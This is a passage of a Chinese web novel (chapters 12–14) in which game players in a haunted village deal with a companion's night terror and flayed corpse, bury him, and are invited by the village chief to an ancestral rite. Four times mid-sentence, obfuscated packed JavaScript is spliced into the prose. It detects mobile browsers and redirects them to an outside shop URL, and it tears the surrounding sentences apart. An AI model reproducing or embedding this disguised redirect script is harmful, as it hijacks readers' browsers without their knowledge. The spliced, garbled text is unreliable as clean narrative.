小楼这里这样大的动静,既没有村民过来查看,也完全没有多余的灯光亮起,完全不符合云国人从古至今爱看热闹的天性。这里的夜晚到底潜藏着什么秘密,让人如此惧怕,真的仅仅是因为来自后山的那些婴孩怪物吗?还是有别的原因? 见戴洪乐已经平静下来,有归问他:“你是不是也看见了什么?” 卢易斯闹出的动静连在楼下的她和黎重都惊动了,第一声喝骂之后才响起尖叫,他必然是发现了什么。在这之前他应该是有别的动作的,比如从床上坐起身,比如看向某个地方,在这样的环境下人不可能睡得很熟,这些动作一定会让戴洪乐醒来。他们两人同住一屋,如果要阻止卢易斯,戴洪乐其实比住在楼下的有归更方便,也更能成功,因为有归还需要反应时间,但事实是戴洪乐的动作甚至比黎重还要慢上许多。 唯一答案就是,戴洪乐也看见了什么,那样东西也许很可怕,让他许久不能反应过来。 听到有归的问题,他的身体微不可见的抖动了一下,脸上一点一点失去了血色,嘴唇嗫嚅着,却根本听不见声音。众人发现不是他声音太小,而是他发不出声音,戴洪乐也发现了这一点,神色惊恐莫名,眼睛越瞪越大,有归拿出一小支药剂喂他喝下去。他镇定了下来,有归说:“我问,你只要点头确认或摇头否认。” 有归俯下身,注视着他的眼睛:“你看见了纸条里说的那些来自后山的怪物,那些夭折的孩子变成的婴诡。” 她用的不是疑问句,是肯定句,戴洪乐呼吸明显滞了一下,然后拼命点头,声音惶恐:“我,我看到了,我看到它们在地上爬......” 这回又能说了,众人面面相觑,都搞不懂这是什么情况。有归有很多疑惑,但现在最主要的是先弄明白卢易斯身上到底发生了什么事,想了想,她看向戴洪乐,问道:“你还看见了卢易斯,他让你很害怕,是吗?” 戴洪乐点头,张开嘴想说什么,却只能颓然地低下头。 卢易斯,成为了无法说出口的禁忌。 是因为他触犯了纸条规则的禁忌,招致后山婴诡的追杀,所以才变成这样的吗?可是这说不通。现在依旧是夜晚,众人齐聚在厅堂中,并没有发生什么怪事。如果说是因为这个时间点不对,要12点之前醒着的人才会出事,那有归自己又好好的站在这里。 她并没有遭遇什么可怕的事情,甚至还见到了柳笙。 想到柳笙,有归叹了口气,转头问戴洪乐:“卢易斯一直都这样吗?” 戴洪乐知道有归问的是什么,她问的是卢易斯为什么总是一副全世界都欠了他的样子,作天作地,似乎在吸引别人的注意,却又仿佛什么都不在乎,可当旁人真的无视了他,他又无法忍受。 这种矛盾复杂的心理不应该出现在他身上才对,以卢易斯那张脸,走到哪儿都是焦点。虽然那副小作精的样子折损了一些气质,但没关系,脸在江山在,他可以得到很多人无底线的包容和爱,即使有诋毁和谩骂,也不能抵消。从小泡在爱里长大的人,精神世界是强大而自信的,在自己的世界里永远逻辑自洽,不会像卢易斯这样充满矛盾。 戴洪乐缓缓摇头,顿了一下,似乎是在组织语言:“他从前确实不这样,18岁之前,他一直是品学兼优的好学生,不管男女都很喜欢他,只是后来他知道自己患有基因病,无法活过40岁,就开始自暴自弃了。” 基因病是所有基因缺陷病症的统称,表现形式各不相同,但患者的结局殊途同归——大都活不过40岁。要知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412500|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,未来时代的平均寿命,早就从最初的127岁提升到343岁了。科学家一直在努力攻克基因病,但收效甚微,甚至连相应的基因药剂也并不顺利,价格高昂但效果可以说几乎没有,只能延缓某些显性病症病发时的痛苦。 使用基因筛选的方式培育生命,固然可以孕育出所谓天选之子,但伴随而来的是基因缺陷也让人们束手无策。因此有人呼吁回归原始的家庭式的繁衍方式,宣称天才无用,许多罹患基因病的人仰望着那些身处云端的天骄们,又怨恨他们偷走自己正常的人生。这种想法当然是没有根据的,只是想给自己无望的人生找一个借口,但卢易斯就是这样想的。 戴洪乐说:“他曾经有一个很喜欢的人,被确诊基因病后,他就再也没有见过那个女孩了。” 那时候卢易斯红着眼睛对他说:“我真的很喜欢她,一想到不能跟她在一起我就觉得心痛到不能呼吸,可是我最多只有22年生命了,她还有那么漫长的时间,我怎么可以放纵自己。她现在对我只是有些好感,忘了我以后她还可以还可以好好生活,还可以遇见喜欢的人,我......我做不到这么自私。” 戴洪乐只要想起卢易斯那时痛苦折磨,就无法指责他后来的行为。他说的极为动情,有归听的面无表情,抬头一看,艾莉安已经红了眼眶,周嘉文也十分动容的样子,周嘉语和黎重察觉到她的目光,6抬起同样没什么表情的脸来,三人对视,有归出声打断戴洪乐的话:“你说的这些,和我们有什么关系呢?” 他一愣,就见这个眼睛盛满星河的少女叹口气,说:“你这样处处体谅他,应该也是基因病患者吧,你和卢易斯是因为这个才被骗进来参加游戏内测的?” 看见戴洪乐的表情,有归知道自己猜对了。原因倒也不复杂,已知两人都是基因病患者时日无多,已知卢易斯有一个想要长相厮守的心上人,已知卢易斯吃不得一点苦,但他偏偏来这没苦硬吃,那么答案就呼之欲出了: 【生命的尽头不只是死亡,还有无限可能。以生命为赌注,博一个满堂华彩,精彩世界,等你来探索,《珈登希露得》内测开启,成功完成游戏可获得丰厚奖励,是否参与内测?】 这是卢易斯收到的信息内容,对于他来说,《珈登希露得》不亚于溺水之人抓到的唯一一根浮木,用已注定离开的生命换一个机会,他乐意之至。 ——“我不想死,如果我完成游戏,可以让我活下去吗?” ——“你将得偿所愿。” 卢易斯将这个消息和自己的好兄弟戴洪乐分享,两人就这样来到了几千年前的孟溪村,他们怀着对未来的幻想进入村庄,然后现实给了他们一棒。虽然有归三令五申,但卢易斯并没有真正意识到问题的严重性。 戴洪乐说:“他有严重的睡眠障碍,通宵是常态,有时候甚至一两晚不睡,就这么干熬着。我提醒过他,但他没有放在心上。” 12. 第 12 章 或许是有归之前的表现,让他以为不管自己怎么做,都会有人兜底,所以卢易斯肆无忌惮地打开终端,找到自己之前锻炼胆量而追的小说,津津有味地看了起来。小说的内容和他们现在的处境相似,只是主人公是无辜被牵扯进去的,他们却是主动进入。小说情节曲折,恐怖过瘾,等卢易斯回过神来,时间已经到凌晨十二点,早就不是他内心跟自己约定的看两章就睡。 屋子里很黑,月亮的冷光从窗户照进来,给屋内蒙上了一层朦胧的白纱。四周静悄悄的,只有戴洪乐偶尔翻身的声音,并没有发生可怕的事情。 卢易斯抹了一把额头并不存在的冷汗,觉得都是自己吓自己。心里暗骂有归不靠谱,居然不提醒他,正要关掉终端睡觉,忽然听到一阵悉悉索索的响声,象是有什么东西在地面爬动,声音离他们的房间越来越近,越来越近...... 没什么来由的,卢易斯觉得刚才的东西进到他们房间了。闭着眼睛躺在床上,什么东西在地板上爬动的声音传来,他不知道哪里来的勇气,直接坐起来往床下一看,只一眼就僵住了,觉得全身的血液都往头顶流! 地板上竟是趴着一团一团奇形怪状的东西,或者说是蠕动着的肉块! 卢易斯只看了一眼,觉得头顶都在冒凉气。但刚才随意一瞥,那些肉块中来到有的形状依稀是人类婴儿的样子,没来得及细想,他转头看向地板,仔细分辨才看出肉块上表示婴儿四肢的地方,有的只是一条棍子,完全没有手掌和脚掌,有的连□□都没有,和身体连接的关节处是一条用肉拉出来的面条似的须...... 以上都还算有些“人样”,还有的连头都没有进化出来,只是一团肉块的形状,却有眼睛,有耳朵,有鼻子,有嘴巴。 这些东西根本不能称之为人,它们是异类,是怪物!它们是怪物!大脑在呐喊,在咆哮,身体却完全不能做出相应的反应,卢易斯眼睁睁看着地板上的怪物向他爬过来。这些全身淤青肿胀的怪物,呲着一口尖利的牙,快速地向他爬过来! 喉咙像被一直无形的手扼住,发不出任何声音,恐惧累积到了极点,卢易斯爆发出了一声尖叫,猛地掀开身上的被子,下床开门冲下二楼,他脑海中只有一个念头:他不能和这些怪物待在一起,它们会吃了他,把他啃得一丝也不剩! 他以前所未有的速度打开大门,冲了出去...... ****** 孟溪村,村西小楼。 一楼左边边的房间,原本在屋子里的衣柜桌子都被挪到走廊安置,原来的床原本的床被推到角落里,左边靠墙,另外一边凳子柜子拼接成一个大通铺。戴洪乐被昨晚的事吓得够呛,挨着墙他都害怕,非得左右都有人才行,又把有归当救命稻草,也不管合适不合适,反正就是要在有归身边才有安全感,把黎重气够呛。偏偏有归无知无觉,见几人拖拖拉拉,手一扬直接安排的明明白白。 黎重睡在最左边,他的旁边是戴洪乐,有归和艾莉安挨着,然后是周嘉语,最右边则是周嘉文。 也是没办法的安排,卢易斯的事情,和有归后来提起的莫名出现的柳笙,连周嘉语都觉得分开睡实在很不安全。考虑到那个会在地板上爬的怪物,又因为占用大厅睡觉的话得收拾两回,最后征用了有归黎重她们对面那个还没人住过的房间。大家一致觉得,这个房间比较有安全感。 昨晚一夜惊魂,众人睡得比较晚,也比较香,直到被一声惊破天际的尖叫声惊醒。 ——“啊!” “小语!”周嘉文是最先反应过来的,比有归还快一步,辨别了一下方向,朝着二楼书房大步跑去。 那声尖叫确实是周嘉语发出的,她原本是去上厕所,因为厕所就在一楼,很近,而且昨晚折腾了一夜,大家好不容易可以好好休息,也不想把人闹起来。 去的时候一切正常,当她回来时,却听到类似雨滴落的声音,她循声望去,声音从她的头顶传来。 滴答滴答—— 滴答滴答—— 她无法抑制自己的好奇心,明明不管是看恐怖电视还是玩惊悚游戏,对于主人公明知有危险却还是往上凑的行为深恶痛绝,也知道好奇心害死猫的道理,但周嘉语还是彷佛着了魔一般的,顺着楼梯来到二楼。 二楼左右各一个房间,书房临近前院,采光极好,她来到书房前,书房大门敞开,一粒大大的血珠从门后坠落,“啪嗒”一声在地面破碎,原来这就是她听到的“雨滴声”。紧接着屋顶有东西滚落下来,震得小楼微微晃动,周嘉语往屋内望去,陡然对上一双失去生气的眼睛,当她看清屋里的场景,下意识想要尖叫,却发不出声音,惊恐瞬间攫住了她的心神,过了一会儿,她才能发出一声惊天动地的叫声。 抢先一步的周嘉文把跌坐在地的妹妹搂在怀里,柔声安慰:“不怕,哥哥来了。” 当他移动目光,看清楚房间内的情景时,也不由发出一声惨叫。 快走到门口的众人被这一声震住,快步上前,当看到房间里那具被剥去全身皮肤,只袒露着黄色脂肪和红色肌肉的尸体时,所有人都惊到了,心理承受能力比较差的艾莉安已经捂着嘴冲到一楼,周嘉文搀扶着周嘉语到一边休息。 只有鲜红肌肉和黄色脂肪的脸上一双死气沉沉的眼睛瞪视着几人,现场血腥气浓重,熏得众人脸色苍白。黎重低声问:“是卢易斯吗?” 戴洪乐坚持着没走,闻言怔怔点头,站在门口,看着房间内的尸体说:“如果我昨晚没有那么懦弱,鼓起勇气拉住他,是不是他就不会死了?” 几人无言以对。 戴洪乐走进屋里,鲜血流淌到他脚下,把他白色的鞋都染红了。他看着卢易斯的尸体,忽然嚎啕大哭。归黎二人静静地看着他宣泄尽心中悲痛的情绪,然后抬起手背在眼睛上一抹,说:“我想把他葬了。” 二人都愣了一下,有归想了想,说:“这个时候才刚流行火葬,我们倒是可以把他火化了,骨灰带回去,只是在这里恐怕不好操作。” 戴洪乐看了眼尸体,道:“悄悄把他葬了就好了,让他......入土为安。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412501|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 楼上两间房都有多余的被褥和衣服,被三人用来裹尸体,最后用绳索拴牢,戴洪乐和黎重两人抬起往外去。有归从杂物间拿了工具,三个人在那挖挖铲铲一个小时,才挖出一个勉强平躺下一人的土坑,戴洪乐没有解开外面裹着的东西,直接把尸体放进坑里,把土回填,踩实。因为怕被野兽刨出来,又从周围搬了很多石块,垒出一个小山包。 等做完这些,他们回头往小楼走,这才发现小楼浓烟滚滚,一阵一阵地往外冒。这是失火了?周嘉语周嘉文还有艾莉安都还在里面。 来不及说什么了,三人拔腿就往小楼跑去,到了才发现虚惊一场。原来周嘉语回过神来,觉得从昨日到今天实在遇到太多事了,营养液固然方便快捷,但再喝下去真的会让人觉得人生无望,是得吃点热乎的才行。于是她拉上自己哥哥和艾莉安进了厨房,昨晚被搬空的厨房现在已经变得满满当当,各种食材应有尽有,数量充足,完全经得起她的嚯嚯。 周嘉文听到妹妹的主意就感觉大事不妙,从小到大只会端着碗等饭吃的人进厨房,只会变成厨房杀手,他自己根本不会用这里的土锅土灶,艾莉安也一样。好在她们三个实力太菜,连火都升不起来,没有酿成人间悲剧,只有滚滚浓烟在诉说着她们的努力。 有归他们往厨房一瞧,没有淘洗直接上锅并且掺了大半锅水焖煮的米,切的奇形怪状的各种蔬菜,没焯水直接放锅里清水硬炖的肉...... 三人直接沉默了,周嘉语还挣扎了一下,“我只是不会用这么原始的厨具。” 被有归无情拆穿:“我看你根本就是没用过厨具吧。” 周嘉语看着只到她肩膀的有归,反问:“难不成你用过?” “我用过,也会用这种土锅土灶,”黎重打断两个幼稚鬼的斗嘴,他站在厅堂中央,点着人,“一,二,三,四,五,都不会做饭的话,就来打杂吧。” 在未来时代被终端和智能管家全方位包办衣食住行的众人,来到孟溪村这个叫天天不应的地方,能囫囵自个就不错了,遑论做饭。黎重这么一说,把众人的目光都吸引过来了,这一刻,他在众人眼里的形象分外高大。 黎重给众人分配好工作,一楼二楼的所有窗户房门都打开通风,有归找来一个大袋子,把那些无法再用的食材统统倒进去,地被周嘉文重新扫了一遍又用吸水的布擦试过,艾莉安在一边扒蒜,戴洪乐择菜,黎重一边切菜一边指导周嘉语怎样淘米怎样用这种土柴火灶焖饭。 周嘉语奇怪地问:“你怎么会用这个?” 她和黎重算半个同行,听说这人家境优渥,是含着金汤匙长大的那种人。后来自己出来开了一个小工作室,也做出几款颇受好评的游戏,听人说他最近在做的游戏很有爆火的潜质,业内很看好。 黎重把土豆切成细丝,放在清水里淘净淀粉后,用萝筐沥尽水分备用。他说:“以前为了做游戏,特意查过相关资料,后来玩过几个求生游戏,在里面学了不少生存技能。”他微微一笑,“看,多玩游戏还是有用的吧。” 13. 第 13 章 这说法总有些怪怪的,有归转头看了他两眼,黎重注意到了,抬头微微一笑。 厨房的菜种类不少,有些在未来时代只能找到它那外表毫不相干的远亲,黎重用终端拍照后才切,说就当纪念了。 几人都对用这种土灶炒菜好奇的很,说是有一种原始的美感,打完杂不肯走,堵在厨房里碍手碍脚兼指手画脚,把黎重烦的要死,最终忍无可忍把他们都赶出去了。有归原本也是围观的一员,但她出去丢个垃圾的工夫,几个大高个已经把本不宽大的厨房挤满了,她只好探着个脑袋往里看。等几人把黎重惹恼一哄而散,她因为在外围反应慢了一点,等人都跑光了,就把她显出来了。 黎重一双淡金色的眼眸看过来,说:“人都跑了,你来烧火吧。” 只是很随意的一眼,没什么情绪,有归乖乖应了,迈步走进厨房。 黎重去杂物间找了个小板凳过来给她坐着,指点她哪个灶口的火小了就往哪里添柴,有归心说这是把她当小孩儿待了,但这种氛围让她熟悉的同时,也让她觉得安心。 拾了两根柴在手里,有归很认真地盯着灶口,黎重觉得她这幅严阵以待的模样,真像是自觉能够帮到大人忙的小孩。 黎重确实很会做饭,很快就做出了五菜一汤,分量都特别足,因为天气的原因,还特意拌了个凉菜,孟溪村的调味意外的品种齐全数量充足,给了他发挥手艺的条件,米也很好,软糯弹牙,香气十足。 菜都端上桌,饭也端来了,几人很自觉地添饭摆碗筷,看着桌上的菜眼睛里都是渴望。好不容易盼来黎重,等他把汤端上来,齐齐捧起饭碗,开动。 众人的吃相都不太文雅。 曾经的云国被称为大吃货国,后来弥瑞可七国融合后,云国以其悠久的历史渊源成功同化了其余六国,不仅姓名向云国看齐,连胃都成了云国胃。 在未来时代,美食这种只为满足口腹之欲的东西被部分人视为毫无效率可言的存在,他们将之视为落后,主张摒弃美食,人类才能进入高效率的高级社会,但人们那被美食娇惯坏了的胃可受不了毫无口感可言的各种药剂粉末,因此各种小饭馆大酒店仍大行其道。有归他们都不是这一派的受众,自然是把这种言论当作耳旁风,筷子飞舞的速度一个比一个快。 风卷残云一般填饱了肚子,后续自然是交给打杂的收拾,黎重泡了茶放在桌上,示意有归端起两杯,自己一手一张椅子,放在小楼外面。阳光,绿树,黛瓦白墙的屋子,久经岁月的篱笆,若是忽略孟溪村的诡异之处,这里的确是一个适合养老的好地方。 周嘉语他们收拾完,也搬了椅子出来,就放在两人旁边,悠闲地饮茶,欣赏风景。若有之前到过孟溪村的人看见,恐怕会疑心自己是不是走错了地方。 从昨天下午到今天发生了多少事,精神一直紧绷着,抓紧时间寻找线索固然重要,恐怕众人精神负担过重导致崩溃。一次斗嘴,一顿热乎的饭菜,一杯茶,在这场与死神共舞的追逐中偷得几分闲,也让他们放松下来。 不能急,急就容易出错,而他们的容错率恐怕无限趋近于零。 “我刚才已经检查过了,东西没少,位置也没变。”艾莉安捧着茶杯道,声音并不大,但依然清晰地传到了每个人的耳中。 “楼上楼下所有房间,包括大厅的灯油都是满的,”周嘉语紧跟着补充。 “昨天除了我们,并没别人进入过小楼。”有归用指尖轻轻点着茶杯的瓷面,原来东西真的会自己长出来。 但不劳而获的代价又是什么呢? 有归有很多疑惑,她有预感,如果能真正弄清楚这个所谓的代价,那她们离真相也就不远了。 正在沉思,黎重忽然看着远处说:“有人来了。” 顺着黎重所指的方向看去,一高一矮两道身影正向她们走来。 走在前面的是一个干瘦干瘦的老头,不知为何,只远远看见一个身影众人觉得他格外阴沉格外难缠,扶着他的年轻人倒是身材颀长,斯文干净。等两人走进,就见老头一双眼睛浑浊不堪,佝偻着腰,衣服空荡荡地披在身上,整个人像是一把失去了水分的干柴。 那个年轻人面容俊秀,那种清澈的气息和这个明显闭塞落后的山村格格不入。只是有一点很奇怪,明明正在七月,是天气最热的时候,他偏偏穿了一件高领的薄款上衣,立起的领子将整个脖子完全遮住,袖子也长到直接把整个手腕盖住。 有古怪。 几人互相看了看,周嘉文和戴洪乐把椅子搬进去,周嘉语赶紧去帮忙,有归看了眼艾莉安,见她就是不肯抬头,便推了一把黎重,示意他去跟来人交涉。黎重满心无奈,同伴一个比一个跑得快,剩下的一个社恐,一个反过来指使他,他只好认命地上前,把他们昨晚编造的那一大通介绍完,然后问道:“请问您二位是?” “老头子是这孟溪村的村长,这是我远房亲戚家的孩子,叫溪源的。”老头声音粗粝难听,一双眼睛直直盯着她们,像打量什么新奇玩意似的,又像是在算计怎么把她们敲骨吸髓,让人非常不舒服。 那个叫溪源的年轻人扶住他的手臂,笑着说:“伯爷,您忘了您腿不好的事了,有什么话您进去坐着说。” 村长老头像是才反应过来,被扶着往大厅里去。有归在后面看着那个年轻人的背影,转头看向黎重,又像是在自言自语:“溪源,沈希源,这是巧合,还是他们就是同一个人?” 黎重也想到了,但想一想沈希源的模样,还是摇头道:“他们长得并不像。” 眼前这个叫做溪源的青年眉目清朗,眉尾有痣,沈希源看上去更阳光一些。 大厅里溪源已经扶村长老头坐下了,他自己腰腹挺起,手放在膝盖上,坐的板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412502|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板正正,这坐姿让人无端眼熟。 有归还未想起在哪见过这样的姿势,就被村长老头说的事吸引了全部注意力。 “老头子这回来,是想邀请各位参加十七号那天的祭祖大典,地点在西南边那片山坡上的祖坟地。这祭祖是我们孟溪村每年一度的大事,一向只限本村人参加,但我们村子地处偏僻,少有人来,各位既然赶上了,不如就一起去长长见识,也看看我们这的风土人情。” 若真有人旅行到此借住村中,恰好赶上村中的盛事,被邀请参加也是情理之中。 就怕宴无好宴。 今天已经是十三号了,只有四天的时间。几人面色都有些凝重,但她们必须答应下来,既然是来采风的,怎么可能会错过乡村祭祖这样的大事。 黎重自然是满口答应,还说:“听说云雾山民风独特风俗各异,所以特意来到这里,希望能收集到更多不一样的素材。原本是在镇上驻扎,昨日出行偶然发现这里,因天色已晚未征得村民同意便贸然住下,今日村长大度相邀,怎敢不应?而且祭祖这等大事各地不同,我们几个更长了见识,回去说起来也有谈资。” 村长老头对他的态度非常满意,捋着下巴上的几根胡子,点头道:“我知道你们这些从城里来的年轻娃,好好日子不过,哪里偏僻就往哪里钻,说是就喜欢冒险喜欢刺激。这样的地方老头倒是知道——祖坟地那边翻过山倒是有几个山洞,里面有很多好看的石头,听祖辈的人说,最深处住着一条大蟒蛇,眼睛像灯笼一样大,张开嘴巴一口就能吞下一个人;洞里面还有成套的石桌石凳石床,里面也有水源,所以又有人说那条大蟒蛇是原先生活在里面的人变的——你们要是有兴趣,倒是可以去看看。” 有归的确很感兴趣,她默默在终端上加了一笔:探索洞穴,时间待定。 黎重已经顺着这个话题聊了下去,“此地风景奇丽,确实是在城市所不能见的,我们也有这样的计划。只是这一带是典型的喀斯特地貌,地下溶洞众多,四通八达相互贯通,我们早就想领略了,奈何对周边地形不熟,不知道村长您可有推荐?” "下到河谷沿着逆流而上,还有一个大洞,你们可以去那里看看,"坐在一旁的溪源冷不丁插话。 众人都转头看向他,哪知村长老头却变了脸,说:“那个洞可去不得,那是魔鬼洞。”不等黎重接话,他就说下去,“那个洞从我们孟溪村的祖先搬到这里来之前就有了,外洞很大,有几层房子那么高,里面却只有一个小小的洞口,光照不进去,站在洞口向里面大喊,里面会有恶鬼哀嚎般的声响,人们都说那是鬼在哭。” 身为孟溪村这么个诡异地方的村长,这么说显得有点滑稽,但有归观察他脸上的表情,发现他是真的对“山洞鬼哭”之事感到恐惧。 他竟然会对这件事感到害怕。 真是奇怪。 14. 第 14 章 从见到村长老头开始,有归就一直注意着他,除了在楼外老头表现得让人厌恶之外,其余的时候他都很正常,表情自然思路清晰,就像他真的只是一个普通村庄的村长,邀请几个偶然来到村子的年轻人参加活动一样。 那种违和感越来越强,有归探出一个脑袋,声音甜甜地问:“村长爷爷,祭祖有什么由来吗?” 她指着外面,猛烈的阳光炙烤着大地,像是要把最后一丝水分都榨取出来,哪怕孟溪村到处都是树,绿荫满地,她们刚才在外面依然能感到那股灼热的气息。 “那么大的太阳,会把人晒坏的,祭品恐怕也放不了多久,为什么不换个凉爽的时间呢?”有归仗着自己长得显小,声音比较甜,勉强还属于做错事都能被原谅的时候,疯狂试探。 村长老头有些恼怒,这是普通人正常的反应,本来是好心邀请,却遭到质疑,任谁听了都不会开心。可说这话的又是一个这么可爱的女孩子,笑容天真甜美,声音清脆,难免觉得这是小孩子童言无忌,便换了一副面孔,和颜悦色地说:“选择在这个时间祭祖,当然是有缘由的。当年我沈氏一族为避战乱内迁至此,家族根基、祖宗遗骨都留在倾云城,虽然是无奈之举,但终究难以忘怀。后来在这孟溪村扎下根来,有一年夏天的时候,第一任村长沈凌璧说她愧对列祖列宗,紧赶着选定了祖坟地,在七月十七那日举办祭祖大典,以告慰祖先。此后每年七月十七,都要在祖坟地祭祖,也就形成了定式,流传下来。” 这个沈凌璧倒是有点意思,说是愧对祖宗,刚到孟溪村的时候不后悔,第二年也不后悔,后面怎么就突然觉得自己是不肖子孙,还匆匆忙忙地选定坟地,对着空空如也的地方一番祭拜,就算是告慰先祖了?她觉得愧对祖宗的,到底是什么?她选定的祖坟地,真的只是为了有一个埋骨的地方吗? "那祭祖有什么活动呀?有舞龙舞狮吗?有锣鼓队有唱戏的吗?我和黎重哥哥周姐姐曾经见过一次祭祖典礼,特别盛大,什么都有,非常热闹。”有归圆睁着眼睛,满含期待地看着村长老头。 村长老头一脸尴尬,耐心解释道:“你们来的时候也看见了,我们孟溪村这只有一条小路连通外面。山路难行,就是我们这些村里人也走不惯,更别说那些表演的人了,所以祭祖都是我们本村的人聚在一起祭拜祖先,在祖坟地那边吃顿饭,也是实在不好麻烦外人。” “原来是这样,不过我们来的时候确实觉得山路很难走。从前总听人说山路十八弯,还以为是夸张,这次总算是见识到了。周姐姐之前就说我一定走不了山路,让我留下镇上休息,是我自己一定要来的。不过刚上路没多久我就后悔了,但因为是自己提出来的,根本不好意思喊苦喊累,要不是黎重哥哥一直拉着我,我肯定到不了这里。”有归很不好意思的样子,好像她真的就是自己说的这个有点娇气、有点任性的女孩子。 其他人继续沉默地充当背景板。 村长老头看起来蛮高兴,说:“嗨,别说你这种城里来的女娃娃了,就是老头子我年轻的时候走这个路,也摔了好几个跟头,满身都是泥巴杂草。去到镇上别人一看,都以为我是要饭的,还有人给我几个馒头。”又对着黎重她们一通夸,说她们都是好孩子,又懂事又有礼貌,不像之前来孟溪村的那些年轻娃娃,大白天在村子里大喊大叫,大哭大笑,成什么样子。 众人心里一紧,知道这些人大概率就是留下信息纸条的人,有归小心翼翼地问:“后来这些人去哪里了,村长爷爷您知道吗?” “他们应该是回家了吧,”老头随意道。 有归心思一沉,那就是失去下落,生死不明。 她当然不会把村长老头说的话当真,所谓大喊大叫大哭大笑,并不是什么没有礼貌的表现,他们恐怕是看到什么难以想象的恐怖景象,或是像在梦里见到柳笙死亡重现的那个人一样,心理防线被彻底击溃,成为一个彻头彻尾的疯子。如果没有同伴,当夜幕降临,他们会遭遇什么难以想象, 有归忽然没了谈话的兴致,黎重自然地另起话头,“我们打算今天先在村里和周边转一转,采访一下村民们,顺便拍些照片留念,不知道会不会冒犯到大家?” 村长老头说:“这个倒是不打紧,别看我们这是穷乡僻壤,其实以前经常有人来,大家都习惯了年轻人们到处转悠,拿着相机。只是有一点,村里的祠堂可不能进去,怕打扰先人,再就是东北边那个屋子,之前住在那里的老光棍死在里面了,不吉利。” 几人连声答应,又说了会儿话,村长老头提出要走,他抓着溪源的胳膊借力起身,动作时带动溪源的衣服的袖子往上,露出手腕上的一圈痕迹,很快又被盖住,有归不确定那是不是疤。 一老一少渐渐远去,有归站在屋檐下看着她们,黎重走过来说:“那个年轻人的手腕一圈都是疤。” “嗯,一会儿周嘉语你们在村里打听消息的时候多注意一下这个人。”有归随意点了一下头,满脸疑惑不解,“你说,他们生活的世界,和我们看到的是同一个吗?” 几人都转头看向她,有归说:“我以前听过一个说法,某些人之所以让人觉得怪异,只是他的精神世界与现实世无法匹配而表现出的行为异常,他的认知与真实的状态是错位的,这种混乱的状态一直持续,就是我们说的疯子。” 失序的精神与正常的现实对照反应为诡异的行动,那无序的现实与正常的表现之间,混乱的又是谁呢? 有归的声音幽幽传来:“是我们。” 众人只觉毛骨悚然。 “怎么说?”黎重问,他对这个说法似乎很感兴趣。 有归其实也说不清楚,她沉默了一会儿,才开口道:“我们昨天到这里,日期是七月十二,而祭祖的时间是七月十七,算上昨天也只有五天时间。看上去很赶,时间也很紧,我在想这么安排会不会有别的意思?” 她低声道:“是不是因为在孟溪村待的时间一旦超出这个上限,我们也会像写下纸条的那些人一样疯掉?”然后落得下落不明尸骨无存的下场。 很多年前有人告诉她,世界一直处于失序与秩序之间,若是无法重整规则,将不可避免地滑向未知的深渊。这个世界是这样,那么人会不会也是这样?滑落深渊后,可还有重见天日之时? 黎重周嘉语不约而同想起了老婆婆的话,两人看向有归,俱是沉默无言,原来那些话是这个意思吗? 剩下三人都看着他们,不明白这是怎么了。他们还没问,就听有归喃喃:“在这种地方变成疯子,意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412503|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味着没人帮忙换衣服洗澡喂饭清洁卫生,也就是说我不管是活活饿死,还是疯疯癫癫被打死跳崖死意外死,都是一身污秽——这种死法我绝对不能接受,被知道了我会被嘲笑一辈子!”这么一对比,被当祭品抬上祭台这种事好像也不是那么难以接受了。 众人听得一阵无语,你关注的重点错了啊亲,重点是死的体面不体面吗?重点明明是怎么在七月十七之前完成任务,避免疯掉和被当祭品的凄惨结局! 不过被有归这么一打岔,刚才低迷的气氛消散了不少,大家都打起了精神。不管是疯掉还是成为祭品,都是无法接受的结局,众人翻看昨晚拟定的计划表,确定今天要做的事情。 较之昨晚的初稿,计划表有所更新: 【事件一:孟溪村的整体布局 调查地点:孟溪村 调查人员:特别行动小组全体队员 备注:布局图绘制人员为艾莉安,此次行动结束后,艾莉安与周嘉语周嘉语继续调查事件二 